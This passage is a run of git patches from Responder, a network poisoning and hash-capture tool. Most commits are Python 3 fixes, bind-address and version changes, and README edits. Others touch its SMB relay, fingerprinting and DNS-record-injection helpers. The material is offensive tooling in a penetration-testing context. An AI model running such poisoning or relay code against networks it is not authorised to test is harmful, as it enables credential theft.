color(str(settings.Config.RespondToName), 5, 1)) + if len(settings.Config.DontRespondTo): + print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)) + if len(settings.Config.DontRespondToName): + print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)) + print('\n\n') From 7420f620825d5a5ae6dc68364a5680910f7f0512 Mon Sep 17 00:00:00 2001 From: Sophie Brun Date: Fri, 21 Feb 2020 10:02:31 +0100 Subject: [PATCH 036/219] Fix encoding issue in Python 3 --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 6b91b86..d2a8e24 100644 --- a/utils.py +++ b/utils.py @@ -135,7 +135,7 @@ def FindLocalIP(Iface, OURIP): return OURIP elif OURIP == None: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) s.connect(("127.0.0.1",9))#RFC 863 ret = s.getsockname()[0] s.close() From 05617defefcd6954915d0b42d73d4ccfcccad2d4 Mon Sep 17 00:00:00 2001 From: Sagar-Jangam Date: Wed, 8 Apr 2020 07:23:35 -0400 Subject: [PATCH 037/219] Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs --- tools/DNSUpdate.py | 185 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 tools/DNSUpdate.py diff --git a/tools/DNSUpdate.py b/tools/DNSUpdate.py new file mode 100644 index 0000000..23b0791 --- /dev/null +++ b/tools/DNSUpdate.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python + +import sys +import argparse +import getpass +import re +import socket +from impacket.structure import Structure +import ldap3 +import dns.resolver +from collections import defaultdict + + +class DNS_RECORD(Structure): + """ + dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2 + impacket based structure, all of the below are tuples in format (fieldName, format) + """ + structure = ( + ('DataLength', 'L'), + ('Reserved', ' Date: Mon, 15 Jun 2020 14:29:05 -0400 Subject: [PATCH 038/219] Alter "is" to "==" for Python 3.8 compatibility Change the usage of "is" to "==" to comply with the new syntax warnings found in python >= 3.8 Observed warnings: RunFinger.py:61: SyntaxWarning: "is" with a literal. Did you mean "=="? if PY2OR3 is "PY2": RunFinger.py:68: SyntaxWarning: "is" with a literal. Did you mean "=="? if PY2OR3 is "PY2": RunFinger.py:74: SyntaxWarning: "is" with a literal. Did you mean "=="? if PY2OR3 is "PY2": --- tools/RunFinger.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 38f39d7..33669f9 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -58,20 +58,20 @@ else: def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') def NetworkSendBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) From d6f4911eb4dfac0908bb1bce589a4be8fcdca84e Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 17 Aug 2020 16:08:24 -0300 Subject: [PATCH 039/219] python3.8 compability fix --- servers/Browser.py | 2 +- servers/DNS.py | 2 +- servers/FTP.py | 2 +- servers/HTTP.py | 2 +- servers/HTTP_Proxy.py | 2 +- servers/Kerberos.py | 2 +- servers/MSSQL.py | 2 +- servers/POP3.py | 2 +- servers/Proxy_Auth.py | 2 +- servers/RDP.py | 2 +- servers/SMB.py | 2 +- servers/SMTP.py | 2 +- utils.py | 12 ++++++------ 13 files changed, 18 insertions(+), 18 deletions(-) diff --git a/servers/Browser.py b/servers/Browser.py index 782eaf6..abda10c 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -16,7 +16,7 @@ # along with this program. If not, see . from utils import * from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/DNS.py b/servers/DNS.py index c9de9c0..294b146 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -16,7 +16,7 @@ # along with this program. If not, see . from utils import * from packets import DNS_Ans -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/FTP.py b/servers/FTP.py index 22b8f09..cd249ac 100644 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/HTTP.py b/servers/HTTP.py index 7f18452..06c92eb 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -17,7 +17,7 @@ import struct import codecs from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler, StreamRequestHandler else: from SocketServer import BaseRequestHandler, StreamRequestHandler diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 76402c1..2b23dbf 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": import urllib.parse as urlparse import http.server as BaseHTTPServer else: diff --git a/servers/Kerberos.py b/servers/Kerberos.py index bef73ce..4605365 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -17,7 +17,7 @@ import codecs import struct from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/MSSQL.py b/servers/MSSQL.py index e255f00..3a44012 100644 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -18,7 +18,7 @@ import random import struct import codecs from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/POP3.py b/servers/POP3.py index 1691096..59d060c 100644 --- a/servers/POP3.py +++ b/servers/POP3.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 9351785..ad17546 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler, StreamRequestHandler else: from SocketServer import BaseRequestHandler, StreamRequestHandler diff --git a/servers/RDP.py b/servers/RDP.py index fd52f1d..82edbe7 100644 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -19,7 +19,7 @@ import struct import re import ssl import codecs -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/SMB.py b/servers/SMB.py index 35837ab..c61dcf5 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -17,7 +17,7 @@ import struct, re import codecs from utils import * -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/servers/SMTP.py b/servers/SMTP.py index 3a8ca77..0dc5bd0 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -16,7 +16,7 @@ # along with this program. If not, see . from utils import * from base64 import b64decode -if settings.Config.PY2OR3 is "PY3": +if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler diff --git a/utils.py b/utils.py index d2a8e24..3b88412 100644 --- a/utils.py +++ b/utils.py @@ -26,7 +26,7 @@ import codecs import struct def RandomChallenge(): - if settings.Config.PY2OR3 is "PY3": + if settings.Config.PY2OR3 == "PY3": if settings.Config.NumChal == "random": from random import getrandbits NumChal = b'%016x' % getrandbits(16 * 4) @@ -107,7 +107,7 @@ def RespondToThisHost(ClientIp, Name): return RespondToThisIP(ClientIp) and RespondToThisName(Name) def RespondWithIPAton(): - if settings.Config.PY2OR3 is "PY2": + if settings.Config.PY2OR3 == "PY2": if settings.Config.ExternalIP: return settings.Config.ExternalIPAton else: @@ -167,7 +167,7 @@ def DumpConfig(outfile, data): def StructPython2or3(endian,data): #Python2... - if settings.Config.PY2OR3 is "PY2": + if settings.Config.PY2OR3 == "PY2": return struct.pack(endian, len(data)) #Python3... else: @@ -175,20 +175,20 @@ def StructPython2or3(endian,data): def StructWithLenPython2or3(endian,data): #Python2... - if settings.Config.PY2OR3 is "PY2": + if settings.Config.PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') def NetworkSendBufferPython2or3(data): - if settings.Config.PY2OR3 is "PY2": + if settings.Config.PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): - if settings.Config.PY2OR3 is "PY2": + if settings.Config.PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) From 5e39c91a05ac5dcfc8b82ccf985db09c5182672b Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 17 Aug 2020 20:28:15 -0300 Subject: [PATCH 040/219] py3 bugfix --- servers/HTTP.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/servers/HTTP.py b/servers/HTTP.py index 06c92eb..2cf5216 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -148,10 +148,9 @@ def ServeOPTIONS(data): def ServeFile(Filename): with open (Filename, "rb") as bk: - return bk.read() + return NetworkRecvBufferPython2or3(bk.read()) def RespondWithFile(client, filename, dlname=None): - if filename.endswith('.exe'): Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) else: From 42a7e3b75cef71ee26491d88ca11aa1f148cd824 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 19 Aug 2020 08:06:40 -0300 Subject: [PATCH 041/219] version update --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 0088958..d969985 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.0.0' +__version__ = 'Responder 3.0.1.0' class Settings: From f84ad05e9a06f04a4491723ba4416f095ccbf370 Mon Sep 17 00:00:00 2001 From: nickyb Date: Mon, 7 Sep 2020 15:29:41 +0100 Subject: [PATCH 042/219] Use settings.Config.Bind_To as bind address. --- Responder.py | 50 +++++++++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/Responder.py b/Responder.py index 15bea42..994ba20 100755 --- a/Responder.py +++ b/Responder.py @@ -250,79 +250,79 @@ def main(): from poisoners.LLMNR import LLMNR from poisoners.NBTNS import NBTNS from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + threads.append(Thread(target=serve_LLMNR_poisoner, args=(settings.Config.Bind_To, 5355, LLMNR,))) + threads.append(Thread(target=serve_MDNS_poisoner, args=(settings.Config.Bind_To, 5353, MDNS,))) + threads.append(Thread(target=serve_NBTNS_poisoner, args=(settings.Config.Bind_To, 137, NBTNS,))) # Load Browser Listener from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) + threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 138, Browser,))) if settings.Config.HTTP_On_Off: from servers.HTTP import HTTP - threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,))) if settings.Config.SSL_On_Off: from servers.HTTP import HTTP - threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,))) + threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,))) if settings.Config.RDP_On_Off: from servers.RDP import RDP - threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,))) if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy - threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,))) + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: from servers.SMB import SMB1LM - threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1LM,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1LM,))) else: from servers.SMB import SMB1 - threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP - threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) + threads.append(Thread(target=serve_thread_udp, args=(settings.Config.Bind_To, 88, KerbUDP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 88, KerbTCP,))) if settings.Config.SQL_On_Off: from servers.MSSQL import MSSQL, MSSQLBrowser - threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1433, MSSQL,))) + threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 1434, MSSQLBrowser,))) if settings.Config.FTP_On_Off: from servers.FTP import FTP - threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 21, FTP,))) if settings.Config.POP_On_Off: from servers.POP3 import POP3 - threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,))) if settings.Config.LDAP_On_Off: from servers.LDAP import LDAP - threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP - threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 587, ESMTP,))) if settings.Config.IMAP_On_Off: from servers.IMAP import IMAP - threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,))) if settings.Config.DNS_On_Off: from servers.DNS import DNS, DNSTCP - threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,))) + threads.append(Thread(target=serve_thread_udp, args=(settings.Config.Bind_To, 53, DNS,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) for thread in threads: thread.setDaemon(True) From af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 28 Sep 2020 08:11:41 -0300 Subject: [PATCH 043/219] Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface --- Responder.py | 12 ++++++------ settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/Responder.py b/Responder.py index 994ba20..c27d2ea 100755 --- a/Responder.py +++ b/Responder.py @@ -250,13 +250,13 @@ def main(): from poisoners.LLMNR import LLMNR from poisoners.NBTNS import NBTNS from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_LLMNR_poisoner, args=(settings.Config.Bind_To, 5355, LLMNR,))) - threads.append(Thread(target=serve_MDNS_poisoner, args=(settings.Config.Bind_To, 5353, MDNS,))) - threads.append(Thread(target=serve_NBTNS_poisoner, args=(settings.Config.Bind_To, 137, NBTNS,))) + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) # Load Browser Listener from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=(settings.Config.Bind_To, 138, Browser,))) + threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) if settings.Config.HTTP_On_Off: from servers.HTTP import HTTP @@ -290,7 +290,7 @@ def main(): if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP - threads.append(Thread(target=serve_thread_udp, args=(settings.Config.Bind_To, 88, KerbUDP,))) + threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 88, KerbTCP,))) if settings.Config.SQL_On_Off: @@ -321,7 +321,7 @@ def main(): if settings.Config.DNS_On_Off: from servers.DNS import DNS, DNSTCP - threads.append(Thread(target=serve_thread_udp, args=(settings.Config.Bind_To, 53, DNS,))) + threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) for thread in threads: diff --git a/settings.py b/settings.py index d969985..1314f11 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.1.0' +__version__ = 'Responder 3.0.2.0' class Settings: From 12b796a292b87be15ef8eec31cb276c447b9e8c8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Laban=20Sk=C3=B6llermark?= <65019367+LabanSkollerDefensify@users.noreply.github.com> Date: Wed, 30 Sep 2020 13:17:34 +0200 Subject: [PATCH 044/219] Fix typos in README * Missing "is" in description of the tool * s/an unique/a unique/ since it starts with a consonant sound * Move a word to its correct place --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 285178d..ea85da9 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Author: Laurent Gaffie https://g-laurent.blogspot.c ## Intro ## -Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. +Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. @@ -74,7 +74,7 @@ This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the networ ## Hashes ## -All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format: +All hashes are printed to stdout and dumped in a unique John Jumbo compliant file, using this format: (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt From e8e3f155f233f7a3312f996a82f63f6b97e85998 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Laban=20Sk=C3=B6llermark?= <65019367+LabanSkollerDefensify@users.noreply.github.com> Date: Wed, 30 Sep 2020 16:07:14 +0200 Subject: [PATCH 045/219] Correct Analyze log filename The default filename for Analyze logs is Analyzer-Session.log, not Analyze-Session.log. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 285178d..829cddd 100644 --- a/README.md +++ b/README.md @@ -81,7 +81,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). - Responder will log all its activity to Responder-Session.log -- Analyze mode will be logged to Analyze-Session.log +- Analyze mode will be logged to Analyzer-Session.log - Poisoning will be logged to Poisoners-Session.log Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf From 7b47c8fe4edcb53b035465985d92500b96fb1a84 Mon Sep 17 00:00:00 2001 From: ThePirateWhoSmellsOfSunflowers Date: Tue, 13 Oct 2020 11:47:33 +0200 Subject: [PATCH 046/219] fix custom challenge in python3 --- settings.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/settings.py b/settings.py index 1314f11..8176a63 100644 --- a/settings.py +++ b/settings.py @@ -210,12 +210,16 @@ class Settings: print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)) sys.exit(-1) - self.Challenge = "" + self.Challenge = b'' if self.NumChal.lower() == 'random': pass - else: - for i in range(0, len(self.NumChal),2): - self.Challenge += self.NumChal[i:i+2].decode("hex") + else: + if self.PY2OR3 == 'PY2': + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + else: + self.Challenge += bytes.fromhex(self.NumChal) + # Set up logging logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') From f581d4dd0e7aa709367636c17b32e7956d6909b5 Mon Sep 17 00:00:00 2001 From: ThePirateWhoSmellsOfSunflowers Date: Tue, 13 Oct 2020 13:08:45 +0200 Subject: [PATCH 047/219] small fix --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 8176a63..03457fc 100644 --- a/settings.py +++ b/settings.py @@ -218,7 +218,7 @@ class Settings: for i in range(0, len(self.NumChal),2): self.Challenge += self.NumChal[i:i+2].decode("hex") else: - self.Challenge += bytes.fromhex(self.NumChal) + self.Challenge = bytes.fromhex(self.NumChal) # Set up logging From fb10d20ea387448ad084a57f5f4441c908fc53cc Mon Sep 17 00:00:00 2001 From: Khiem Doan Date: Thu, 26 Nov 2020 14:19:06 +0700 Subject: [PATCH 048/219] Fix wrong syntax --- settings.py | 2 +- tools/MultiRelay.py | 4 ++-- tools/RunFingerPackets.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/settings.py b/settings.py index 1314f11..5ec5f46 100644 --- a/settings.py +++ b/settings.py @@ -206,7 +206,7 @@ class Settings: if self.NumChal.lower() == 'random': self.NumChal = "random" - if len(self.NumChal) is not 16 and not "random": + if len(self.NumChal) != 16 and self.NumChal != "random": print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)) sys.exit(-1) diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index ac34d3d..db4416d 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -412,12 +412,12 @@ class SMBRelay(BaseRequestHandler): data = self.request.recv(4096) ## Make sure it's not a Kerberos auth. - if data.find("NTLM") is not -1: + if data.find("NTLM") != -1: ## Start with nego protocol + session setup negotiate to our target. data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. - if data.find("NTLM") is not -1: + if data.find("NTLM") != -1: ##Relay all that to our client. if data[8:10] == "\x73\x00": head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) diff --git a/tools/RunFingerPackets.py b/tools/RunFingerPackets.py index e5ce645..d6ab48b 100644 --- a/tools/RunFingerPackets.py +++ b/tools/RunFingerPackets.py @@ -11,7 +11,7 @@ else: def StructWithLenPython2or3(endian,data): #Python2... - if PY2OR3 is "PY2": + if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: From d2e5642d58a70a182fa319f9245a3c32442b1f72 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 31 Dec 2020 01:13:27 -0300 Subject: [PATCH 049/219] Added SMB2 support for RunFinger and various other checks. --- tools/RunFinger.py | 221 ++++++++++++++++++++++++++++---------- tools/RunFingerPackets.py | 206 +++++++++++++++++++++++++++++++++++ 2 files changed, 371 insertions(+), 56 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 33669f9..d13dabb 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -19,14 +19,16 @@ import datetime import multiprocessing from socket import * from odict import OrderedDict +import errno import optparse from RunFingerPackets import * -__version__ = "1.0" +__version__ = "1.2" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) -parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") +#Way better to have grepable output by default... +#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") options, args = parser.parse_args() if options.TARGET is None: @@ -36,6 +38,7 @@ if options.TARGET is None: Timeout = 2 Host = options.TARGET +SMB1 = "Enabled" class Packet(): fields = OrderedDict([ @@ -80,14 +83,67 @@ def longueur(payload): length = StructWithLenPython2or3(">i", len(''.join(payload))) return length +def ParseNegotiateSMB2Ans(data): + if data[4:8] == b"\xfeSMB": + return True + else: + return False + +def WorkstationFingerPrint(data): + return { + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + }.get(data, 'Other than Microsoft') + +def GetOsBuildNumber(data): + ProductBuild = struct.unpack(" Date: Thu, 31 Dec 2020 01:27:43 -0300 Subject: [PATCH 050/219] Added SMB2 support for RunFinger and various other checks. --- packets.py | 36 ------------------------------------ tools/RunFingerPackets.py | 2 +- 2 files changed, 1 insertion(+), 37 deletions(-) diff --git a/packets.py b/packets.py index f27bc4a..9939af0 100644 --- a/packets.py +++ b/packets.py @@ -1611,42 +1611,6 @@ class SMB2Session2Data(Packet): ]) -######################FindSMBTime.py########################## -class SMBHeaderReq(Packet): - fields = OrderedDict([ - ("Proto", "\xff\x53\x4d\x42"), - ("Cmd", "\x72"), - ("Error-Code", "\x00\x00\x00\x00" ), - ("Flag1", "\x10"), - ("Flag2", "\x00\x00"), - ("Pidhigh", "\x00\x00"), - ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("Reserved", "\x00\x00"), - ("TID", "\x00\x00"), - ("PID", "\xff\xfe"), - ("UID", "\x00\x00"), - ("MID", "\x00\x00"), - ]) - -class SMB2NegoReq(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = StructWithLenPython2or3(" Date: Thu, 31 Dec 2020 08:52:18 -0300 Subject: [PATCH 051/219] minor bugfix --- tools/RunFinger.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index d13dabb..e7897e8 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -392,9 +392,7 @@ def RunFinger(Host): threads.append(p) p.start() else: - if options.grep_output: - ShowSmallResults(Host) - else: - ShowResults(Host) + ShowSmallResults(Host) + RunFinger(Host) From 24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 31 Dec 2020 09:39:15 -0300 Subject: [PATCH 